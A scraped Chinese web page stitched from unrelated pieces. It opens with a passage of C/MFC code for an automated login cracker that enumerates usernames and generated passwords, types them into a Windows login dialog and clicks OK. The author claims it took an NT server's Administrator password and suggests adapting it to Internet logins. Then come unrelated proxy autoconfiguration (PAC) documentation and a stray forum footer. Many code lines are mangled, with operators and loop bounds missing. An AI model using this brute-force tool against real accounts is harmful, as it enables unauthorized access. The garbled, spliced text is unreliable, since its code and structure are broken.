file://把新密码填到密码输入框,也可用SetWindowText()&
bPass=TRUE;//记录密码已填入&
if(bUser&&(hOk!=NULL))//如果用户名已填入,“确定”按钮已找到。&
::SendMessage(::GetParent(hOk),WM_COMMAND,&
(WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk));&
file://向“确定”按钮送消息,参照ClassWizard的消息映射&
bUser=FALSE;bPass=FALSE;hOk=NULL;&
file://完成一次登录,初始化&
return FALSE;&
return TRUE;&
file://非此即彼,这是用户名输入编辑控件&
if((dWinSty&ES_READONLY)!=ES_READONLY)&
::SetDlgItemText(::GetWindowLong(hwnd,GWL_ID),cCurrentPass);&
file://把新用户名填到用户名输入框,也可用SetWindowText()&
bUser=TRUE;// 新用户名已填入用户名输入框&
if(bPass&&(hOk!=NULL))
如果密码已填入,“确定”按钮已找到。&
::SendMessage(::GetParent(hOk),WM_COMMAND,&
(WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk));&
file://向“确定”按钮送消息,参照ClassWizard的消息映射&
bUser=FALSE;bPass=FALSE;hOk=NULL;&
file://完成一次登录,初始化&
return FALSE;&
return TRUE;&
file://如果是按钮控件&
if(strcmp(sChildName,"Button")==0)&
char sChildTitle[MAX_LINELENGTH];&
::GetWindowText(hwnd,sChildTitle,MAX_LINELENGTH-1);&
if(strcmp(sChildTitle,sButtonOk)!=0) return
// sButtonOk:登录窗口中“OK”按钮的标题&
hOk=//记录“OK”窗口句柄&
if(bUser&&bPass)&
::SendMessage(::GetParent(hOk),WM_COMMAND,&
(WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk));&
file://向“确定”按钮送消息,参照ClassWizard的消息映射&
bUser=FALSE;bPass=FALSE;hOk=NULL;&
file://完成一次登录,初始化&
return FALSE;&
return TRUE;&
return TRUE;&
4.用户名枚举:&
UINT GetNextUserF(FILE *file)&
char cUser[MAX_LINELENGTH ],*&
int i,flag=0;&
if(NULL==(fUser=fopen(sUserRoad,"r+")))
file://sUserRoad:是保存用户名的路径及文件名&
MessageBox(GetActiveWindow(),"打开文件时出错。","消息",0);&
if(fUser!=NULL)fclose(fUser);&
return 0;&
while(!feof(fUser))&
for(i=0;i&
if(NULL==fgets(cUser,MAX_LINELENGTH,fUser))&
bCheckUser=FALSE;//记录用户名枚举完&
fclose(fUser);&
return 0;&
token=strtok(cUser,SETPRATE);// #define SETPRATE "
WaitForSingleObject(gEventNextUser,INFINITE);&
// 等待“新用户名”事件&
gEventNextUser.ResetEvent();//复位。&
for(i=0;i&
strcpy(cCurrentUser,token);//改变当前用户名。&
gEventUserOk.SetEvent();//发送“用户名完成”事件&
}while((token=strtok(NULL,SETPRATE))!=NULL);&
return 1;&
5.密码枚举:&
UINT GetNextPassL(LPVOID pParam)&
int i,j,iP&
char cBuf[MAX_PASSWORD_LENGTH];&
for(int m=0;m&
file://char
cCurrentCharList[MAX_CHARLIST_LENGTH]:当前密码组成字符集合列表&
file://例如:cCurrentCharList
=“abcd”:表示枚举的密码由abcd组成&
file://int
cCurrentPCList[MAX_CHARLIST_LENGTH]:指向当前密码&
file://组成字符集合列表的列表&
file://例如:4444:表示生成密码为“dddd”,&
file://4231:表示生成密码为“dbca”......&
cCurrentPCList[m]= iCharC&
// iCharCount:密码组成字符的字符个数&
cCurrentPCList[0]&=0)//如果CurList.cCurrentPCList[0]&0
for(int n=0;n&
for(i=0;i&
cBuf[i]=cCurrentCharList[cCurrentPCList[i]];&
WaitForSingleObject(gEventNextPass,INFINITE);&
// 等待“新密码”事件&
gEventNextPass.ResetEvent();//复位。&
for(int n=0;n&
strcpy( cCurrentPass,cBuf);//改变当前密码。&
gEventPassOk.SetEvent();//送密码完成事件&
file://进行cCurrentPCList数组的处理。&
if(( cCurrentPCList[i-1]--)==0)&
file://最后一位复iCharC;&
cCurrentPCList[i-1]= iCharC&
iPre=1;//借位标志&
for(j=i-2;j&=0;j--)&
cCurrentPCList[j]-=iPre)&0)&
if(j==0)//结束。&
cCurrentPCList[j]=
iCharCiPre=1;//复位J,向上借位。&
else {iPre=0;}//不必再向上借位。&
if(cCurrentPCList[0]&=0)&
file://复位,进入下一个循环。&
if(!bCheckUser)//如果用户名枚举完&
MessageBox(GetActiveWindow(),"所有的用户名及密码已枚举完。","消息",0);&
return 0;&
gEventNextUser.SetEvent();//发送“新用户名”事件&
WaitForSingleObject(gEventUserOk,INFINITE);&
file://等待“用户名完成”事件&
gEventUserOk.ResetEvent();//复位。&
goto BEGIN;&
return 0;&
二、在局域网及互连网的应用:&
笔者利用按照以上算法编写的软件,在一个局域网的WindowsNT工作站上成功地取得了另一台WindowsNT
服务器的Administrator的密码。同样们也可以利用这一算法编写猜解互连网上密码的软件。关键的问题是如何在网页中定位用户名输入框和密码输入框以及“确定”按钮。&
三、存在的问题及解决办法:&
在10M/100M局域网里,登录WindowsNT服务器失败后,大约0.7秒钟左右后,才再次弹出网络登录对话框。这一个时间开销严重地制约着猜解的速度。折衷的解决办法是通过“资源管理器”同时打开多个网络登录对话框(从“网络邻居”只能打开一个网络登录对话框),这样可成倍提高猜解的速度,但仍是太慢。此外,可利用几台计算机同时猜解。至于猜解互连网上密码,其速度可想而知了。不过也没关系,许多的密码是数字组成的,更多的密码没有超出26个字符加10个数字的范围。而且人们使用这26个字符和10个数字的频率是不一样的,可以在枚举时先枚举使用频率高的。
使用客户机自动配置文件&
如果有多个代理服务器支持众多客户机,可以使用客户机自动配置文件来配置所有浏览器客户机。自动配置文件包含一个
JavaScript 函数,该函数用于确定访问各种 URL
时浏览器所使用的代理服务器(如果有)。&
浏览器会在启动时加载自动配置文件。每当用户单击 URL
链接或类型时,浏览器都会使用该配置文件来确定是否应使用代理服务器,若如此,还要确定应使用哪个代理服务器。利用此特性,可以快速配置组织中的所有浏览器实例。可以采用多种方式向客户机提供自动配置文件。&
可将代理服务器用作返回自动配置文件的 Web 服务器。将浏览器指向代理服务器的 URL。通过使代理服务器担当 Web
服务器,可将自动配置文件保存在一个地方,这样,当需要进行更新时,只需更改一个文件即可。
可在 Web 服务器、FTP 服务器或是浏览器有权访问的任何网络目录上存储该文件。通过向浏览器提供该文件的 URL
来配置浏览器,使其可以找到该文件,因而可以使用任何常规的 URL。如果需要执行复杂计算(例如,如果组织中存在大型代理链),可以编写一个
Web 服务器 CGI 程序,根据该文件的具体访问者输出不同的文件。
可将自动配置文件与每个浏览器副本一起存储在本地;但是,如果需要更新该文件,则须将该文件的副本分发给每个客户机。
创建自动配置文件可以采用两种方式:可使用 Server Manager
中的页面,也可手动创建该文件。本章后面提供有创建此类文件的指示说明。&
本章包括以下各节:&
了解自动配置文件
使用 Server Manager 页面创建自动配置文件
手动创建自动配置文件
--------------------------------------------------------------------------------
了解自动配置文件&
将此特性放在本书进行记述的原因是,作为管理 Proxy Server
的人员,您很有可能也会创建和分发客户机自动配置文件。&
自动配置文件的作用&
自动配置文件的编写语言是 JavaScript,它是一种基于对象的小型脚本语言,用于开发客户机和服务器 Internet
应用程序。浏览器负责对 JavaScript 文件进行解释。&
浏览器会在首次加载时下载自动配置文件。可将该文件保存在浏览器使用 URL 可以访问到该文件的任何位置。例如,可将该文件保存在
Web 服务器上。倘若浏览器可以使用 file:// URL
访问到该文件,甚至可以将其保存在网络文件系统上。&
代理配置文件是用 JavaScript 编写的。该 JavaScript 文件定义了单个函数(称为
FindProxyForURL),用于确定浏览器应对每个 URL 使用的代理服务器(如果有)。浏览器会向该 JavaScript
函数发送两个参数:浏览器运行所在系统的主机名以及浏览器想要获取的 URL。该 JavaScript
函数会向浏览器返回一个值,告知它该如何继续执行。&
利用自动配置文件可以针对各种类型的
URL、各种服务器甚至是一天的各个时间,指定不同的代理服务器(或根本不指定任何代理服务器)。换言之,可以有多个专门的代理服务器,例如,可使一个提供
.com 域服务,使另一个提供 .edu
域服务,而使再一个提供其他一切服务。这样即可将负载分开并提高代理服务器磁盘的使用效率,因为任何文件在高速缓存中均只有一个副本(而不是所有代理服务器全都存储相同的文档)。&
自动配置文件还支持代理服务器故障转移,因此,如果某个代理服务器不可用,浏览器会透明地切换到另一个代理服务器。&
以 Web 服务器形式访问代理服务器&
可在代理服务器上存储一个或多个自动配置文件,并使代理服务器充当 Web
服务器,对于后者,自动配置文件是其仅有的文档。这样,代理服务器管理员即可维护组织中客户机所需的代理自动配置文件。还可以将这些文件保存在一个中心位置,如此一来,如果必须更新这些文件,则只需更新一次,所有浏览器客户机都会自动获得更新。&
将代理自动配置文件保存在 server- root/proxy-serverid/pac/
目录中。在浏览器中输入代理自动配置文件的 URL,为此,只需在 "Proxies" 选项卡中键入该文件的 URL 即可。代理服务器的
URL 具有以下格式:&
http://proxy.domain:port/URI&
例如,URL 可以是 。无需指定 URI(跟在 host:port
组合后面的 URL 部分);但是,如果确要使用 URI,则可使用模板控制对各个自动配置文件的访问。例如,如果创建一个称为 /test
的 URI,其中含有一个称为 /proxy.pac 的自动配置文件,则可创建一个资源模式为
:8080/test/.*
的模板。然后,可以使用该模板具体设置对该目录的访问控制。&
可创建多个自动配置文件,并通过不同的 URL 对其进行访问。表 17-1 列出了一些示例 URI
以及客户机对其进行访问时将会使用的 URL。
表 17-1 样例 URI 及相应的 URL&
&URI(路径)&
&代理服务器的 URL&
/employees&
&/employees&
/managers&
&/managers&
对反向代理服务器使用 Pac 文件&
鉴于反向代理服务器的工作方式,可能很难使代理服务器既担当反向代理服务器又为 .pac
文件提供服务。这是因为代理服务器在获得文件请求后,需要确定所请求的是本地 .pac
文件还是远程文档。&
要使代理服务器在维护和服务于 .pac 文件之外还担当反向代理服务器,需要手动编辑 obj.conf 文件,以确保各
NameTrans 函数的顺序正确无误。&
通过创建正则映射可使代理服务器担当反向代理服务器。这通常会示意代理服务器将所有请求路由至远程内容服务器。可添加代理自动配置文件,并将其映射到特定目录,如
/pac。在此情况下,任何要获取 .pac 文件的客户机都将使用如下的 URL:&
--------------------------------------------------------------------------------
&但是,对于此映射,必须确保远程内容服务器没有类似的目录。&
--------------------------------------------------------------------------------
编辑 obj.conf
文件,以确保代理自动配置文件的指令和函数出现在其他任何映射之前。此类指令和函数必须最先出现,因为代理服务器在为请求提供服务之前,通常要先运行所有的
NameTrans 函数。然而,使用自动配置文件,代理服务器可立即识别路径并返回 .pac
以下是 obj.conf
文件的一个示例,它使用了反向代理服务器并维护着一个自动配置文件:&
&Object name="default"&
NameTrans from="file:" fn="map" to="ftp:"
NameTrans from="/pac" fn="pac-map" name="file"
to="/ns-home/proxy/pac/proxy.pac"
NameTrans fn="redirect" from="http://foo.*"
NameTrans from="/ns-icons" fn="pfx2dir"
dir="/ns-home/ns-icons" name="file"
NameTrans fn="reverse-map" from=""
to=":8080"
NameTrans fn="map" from=":8080"
NameTrans fn="map" from="/" to=""
PathCheck fn="url-check"
Service fn="deny-service"
AddLog fn="flex-log" name="access"
AddLog fn="urldb-record"
&/Object&&
--------------------------------------------------------------------------------
使用 Server Manager 页面创建自动配置文件&
使用 Server Manager 页面创建自动配置文件&
访问 Server Manager,然后选择 "Routing" 选项卡。
单击 "Create/Edit Autoconfiguration File"
链接。出现一个页面,其中列出了代理服务器系统上现有的任何自动配置文件。您可以单击自动配置文件对其进行编辑。余下的步骤将介绍如何创建新文件。
键入客户机从代理服务器获取自动配置文件时使用的可选 URI,它是 URL 的路径部分。例如,键入 /
可使客户机以代理服务器主文档(类似于 Web 服务器的 index.html
文件)形式访问该文件,此时,客户机在访问代理服务器的自动配置文件时将只使用域名。可以使用多个 URI,并分别为各个 URI
创建自动配置文件。
键入自动配置文件的名称,使用 .pac 扩展名。如果只有一个文件,可将其简单称为 proxy.pac(pac 是 proxy
autoconfiguration(代理自动配置)的缩写)。所有自动配置文件都是含有单个 JavaScript 函数的 ASCII
文本文件。
单击 "OK"。出现另一个页面。使用此页面创建自动配置文件。客户机按顺序完成此页面上的各项。此页面上的项目包括:
Never Go Direct To Remote Server 示意 Navigator
始终使用您的代理服务器。可以指定一个辅助代理服务器,以便在您的代理服务器未运行时使用。
Go Direct To Remote Server When 可在某些情况下绕过代理服务器。Navigator
按照以下选项在此页面上的列出顺序确定各种情况:
Connecting To Non-fully Qualified Host Names 示意 Navigator
在用户仅指定计算机名时直接转至服务器。例如,如果有一台称为
的内部 Web
服务器,用户可以只键入 http://winternal,而不用键入全限定域名。在这种情况下,Navigator 直接转至 Web
服务器而非代理服务器。
Connecting To A Host In Domain 允许指定多达三个

我要回帖

更多关于 react 调用子组件方法 的文章

 

随机推荐